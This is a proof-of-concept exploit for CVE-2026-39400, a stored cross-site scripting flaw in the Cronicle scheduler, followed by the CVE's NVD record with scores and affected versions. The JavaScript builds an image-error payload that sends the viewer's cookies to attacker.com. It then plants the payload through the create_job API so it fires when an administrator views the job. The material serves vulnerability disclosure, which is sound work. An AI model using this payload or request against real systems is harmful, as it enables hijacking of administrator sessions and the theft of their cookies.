CVE-2026-39400

/* * PoC for CVE-2026-39400 * Context: Injecting payload into job output fields (e.g., html.content) */ // Malicious payload to be stored in the job output // This payload steals the document cookie and sends it to an external server var xssPayload = '<img src=x onerror=fetch(\'http://attacker.com/steal?c=\'+document.cookie)>'; // Hypothetical API call to create a job with the malicious output // The attacker uses their 'create_events' and 'run_events' privileges fetch('/api/app/create_job', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ title: 'Scheduled Maintenance', plugin: 'shell', params: { // The vulnerable field where XSS occurs html_content: xssPayload } }) }); // When an admin views this job, the script executes.

{"cve": {"id": "CVE-2026-39400", "sourceIdentifier": "[email protected]", "published": "2026-04-07T21:17:18.333", "lastModified": "2026-04-15T20:24:37.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.111, a non-admin user with create_events and run_events privileges can inject arbitrary JavaScript through job output fields (html.content, html.title, table.header, table.rows, table.caption). The server stores this data without sanitization, and the client renders it via innerHTML on the Job Details page. This vulnerability is fixed in 0.9.111."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cronicle:cronicle:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9.111", "matchCriteriaId": "39B61EC4-D675-4546-9B1C-239E47AB6C5A"}]}]}], "references": [{"url": "https://github.com/jhuckaby/Cronicle/security/advisories/GHSA-36q6-pwxv-j545", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}